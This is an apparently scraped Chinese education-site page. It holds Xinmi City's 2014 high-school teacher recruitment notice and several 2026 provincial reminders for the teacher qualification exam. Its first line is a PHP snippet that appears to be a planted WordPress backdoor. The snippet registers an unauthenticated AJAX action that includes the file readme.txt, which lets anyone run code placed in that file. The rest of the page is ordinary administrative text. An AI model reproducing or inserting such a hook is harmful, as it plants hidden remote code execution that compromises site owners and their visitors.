if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
河南省新密市2014年公开招聘普通高中教师简章-全国教师资格考试网

河南省新密市2014年公开招聘普通高中教师简章

根据工作需要,经新密市人民政府批准,郑州市人力资源和社会保障局同意,决定面向社会公开招聘普通高中教师50名,全供事业编制。
一、招聘对象
符合报考条件的高等院校毕业生。
二、招聘岗位及名额
本次共招聘普通高中教师50名,其中:语文教师9名、数学教师7名、英语教师10名,物理教师5名、化学教师3名、生物教师8名,政治教师3名、历史教师3名、地理教师2名。
三、报考的资格条件
(一)报考需具备以下条件:
1.具有中华人民共和国国籍。拥护中国共产党的领导,热爱社会主义,遵纪守法,品行端正,愿意从事教育教学工作。2.普通高等院校师范类专业本科以上学历并取得相应学位,或硕士学位以上高等院校毕业生。已取得中小学一级及以上专业技术任职资格证书,或经新密市教体局备案且在高中教师岗位任教满2年的代课教师可放宽到本科以上学历。报考人员所学专业须与报考专业一致(或相近)。3.普通话水平须达到国家语言文字工作委员会颁布的《普通话水平测试等级标准》二级乙等以上标准(申报语文教师必须达到二级甲等以上标准),并取得《普通话水平测试等级证书》。4.具有高中教师资格证。5.本科学历年龄在30周岁以下(1984年7月1日后出生),研究生及以上学历年龄35周岁以下(1979年7月1日后出生)。已取得中小学一级及以上专业技术任职资格证书,和经新密市教体局备案且具有2年及以上高中教师任教经验的可放宽到40周岁以下。6.身体健康,无传染性疾病,无精神病史,符合《河南省申请教师资格人员体检标准及办法(试行)》规定要求,能够胜任教育教学工作。
(二)有下列情形之一者不得报考:1.曾因犯罪受过刑事处罚的。2.曾被单位辞退或开除公职的。3.受过行政记过、党内严重警告以上处分的。4.因涉嫌违法违纪,正在接受审查的。5.在各级招考中被认定有舞弊等严重违反纪律行为的。6.其他不符合报考资格条件的。
四、招聘程序
招聘工作严格按照发布公告、报名及资格审查、笔试、试讲资格确认、试讲、体检、考核、公示、聘用等程序进行。
(一)发布公告
招聘公告在新密电视台、新密门户网站、新密市人社局网站及政务公开栏和新密教体局网站发布。
(二)报名及资格审查
报名采取现场报名方式,并严格按照报考资格条件进行审查。资格审查贯穿招聘工作全过程,凡一经发现不符合招聘条件、弄虚作假或违反招聘规定的取消其考试和聘用资格。
1.报名时间、地点。 报名时间:2014年8月26日——2014年8月28日。报名地点:新密市培训考试中心(市人力资源和社会保障局三楼北大厅)
2.报名时需提供的证件。考生报名时需提供本人有效身份证、毕业证、学位证、教师资格证、普通话证等相关证件原件及复印件(2份)。已取得中小学一级及以上专业技术任职资格证书的人员还须提供专业技术任职资格证书原件及复印件(2份)。经新密市教体局备案且在高中教师岗位任教满2年的代课教师还须提供近2年的教案、学校开具的任教证明。报名时交图像采集费、笔试考试费42元,并填写《新密市公开招聘普通高中教师报名登记表》一式2份。
3.提供笔试加分材料。加分条件为:参加国家志愿服务西部计划、河南省服务贫困县计划服务期满考核合格的大学生、参加郑州市“三支一扶”计划服务期满考核合格的大学生、参加郑州市“大学生村干部”计划在农村任职2年以上且年度考核合格的大学生村干部、参加郑州市“高校毕业生进社区、服务农村计划”服务期满考核合格的大学生,笔试原始成绩加5分。上述人员需在报名时提交项目服务证书、年度考核表、基层服务单位证明(须项目主管部门加章)及“大学生村干部”合同书等材料原件及复印件2份,逾期不再受理。
4.提供考务费免费材料。农村绝对贫困家庭和享受国家最低生活保障金城镇家庭人员报考的,可免缴图像采集费、笔试考务费。拟免缴图像采集费、笔试考试费的报考者应提交以下材料:农村绝对贫困家庭的报考人员,提交其家庭所在地的县(市、区)扶贫办出具的特困证明原件和特困家庭基本情况档案卡(原件和复印件);享受国家最低生活保障金城镇家庭的报考人员,提交其家庭所在地的县(市、区)民政部门出具的享受最低生活保障的证明原件和低保证(原件和复印件)。
5.报考人员报名时提交的信息和提供的有关材料必须真实有效,报名时应作出诚信承诺。凡发现报考者与拟聘用岗位所要求的资格条件不符以及提供虚假材料的,取消其考试、聘用资格。考生应认真阅读并全面理解关于本次招聘的公告内容,确定本人符合招聘岗位报名条件。考生报名后,按照相关规定取消考试资格的,已经缴纳的图像采集费、笔试考试费用不予退回,由此产生的一切后果由个人承担。
6.报名人数与拟招聘专业岗位名额的比例达不到5∶1的,相应减少招聘名额或将招聘名额调整到其他专业。
7.报考者于2014年9月4日—-2014年9月5日持本人有效身份证到报名处领取《准考证》。
(三)笔试、试讲
公开招聘普通高中教师笔试、试讲工作由新密市人力资源和社会保障局统一组织,市教育体育局配合实施。
1.笔试。采取统一组织,统一命题,统一评分的方式进行。笔试内容为教育基础知识,具体考试内容包括教育学、教育心理学、教育理论知识、新课程理念、教材教法、教师职业道德及班级管理等。满分为100分。具体笔试时间、地点详见《准考证》。笔试成绩在新密市人力资源和社会保障局政务公开栏上公布。
2.试讲资格确认。根据笔试成绩从高分到低分的顺序,按照拟招聘专业岗位人数1:3的比例确定拟进入试讲的人员。人员名单和试讲资格确认的时间、地点在新密市人力资源和社会保障局网站和政务公开栏公布。同时,以电话通知方式告知应试者本人。应试者根据试讲资格确认的要求,持本人有效身份证、毕业证、学位证、学历认证报告等(留学回国人员持本人有效身份证、我国驻外使(领)馆教育(文化)处(组)出具的留学回国人员证明、教育部留学服务中心出具的国外学历学位认证书等)证书原件和复印件参加试讲资格确认。应试者是在职人员的,还须提供所在单位同意报考的证明。应试者通过试讲资格确认后,现场领取《试讲通知书》,并按照《试讲通知书》中规定的时间、地点参加试讲。逾期不到的,视为自动放弃试讲资格。试讲确认时,发现应试者提供材料信息不实的,取消其参加试讲的资格。
同一招聘岗位因考生本人自动放弃或被取消试讲资格而造成达不到试讲比例的,从该专业笔试成绩由高分到低分的顺序依次递补。如经过递补以后仍然达不到试讲比例要求的,由市公开招聘普通高中教师工作领导小组办公室提出是否递补的意见,经市公开招聘普通高中教师工作领导小组批准后,方可按计划进行试讲。经过试讲资格确认,进入试讲人员名单在新密市人力资源和社会保障局网站公布。
3.试讲。试讲主要考察报考者的语言表达能力、实际授课能力和讲课技术水平。试讲成绩100分。
4.总成绩=笔试成绩×30%+试讲成绩×70%
(三)体检
公开招聘普通高中教师体检工作由新密市教育体育局负责实施,新密市人力资源和社会保障局负责指导和监督。根据总成绩,按拟招聘数1:1的比例从高分到低分确定参加体检人员,统一组织体检,体检标准参照《公务员录用体检通用标准(试行)》规定执行。体检出现不合格时,按报考专业岗位总成绩依次递补。体检费用由考生自理。
(四)考核
公开招聘普通高中教师考核工作由新密市教育体育局统一组织。对体检合格人员,按拟招聘数等额确定考核对象,采取调查了解、查阅档案、座谈等方式进行。考核内容包括德、能、勤、绩、廉等方面,重点是思想政治素质、道德品行、遵纪守法、工作态度、工作实绩和相关素能。考核出现不合格时,按报考专业岗位总成绩依次递补。
(五)公示
根据总成绩、体检和考核情况,按照从高分到低分的原则确定拟聘用人员,并在新密市人力资源和社会保障局网站和政务公开栏及新密市教体局网站上向社会公示7个工作日。对公示中反映有问题并查有实据,不符合聘用条件的取消聘用资格,并从报考同一专业岗位的人员中按总成绩从高分到低分依次递补。
(六)聘用审批
公示无疑义后,按照公开招聘普通高中教师聘用程序办理聘用手续。所有聘用人员由新密市教育体育局按照所需岗位统一派遣,不服从派遣者,取消聘用资格。
新聘用的人员试用期1年。试用期从报到之日起算,试用期间,其工资福利待遇按国家的有关规定执行,试用期满后由市教育体育局综合考核,合格的予以正式聘用;不合格的由新密市教育体育局提出取消聘用资格意见,报新密市人力资源和社会保障局批准后取消聘用资格。
报名咨询电话:0371-69820760/69879685 (工作时间内拨打)    
监 督 电 话:0371-69822600(市纪委)0371-68508258(市人社局纪检监察室)   
新密市公开招聘普通高中教师工作领导小组办公室(代章)
2014年8月19日
回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部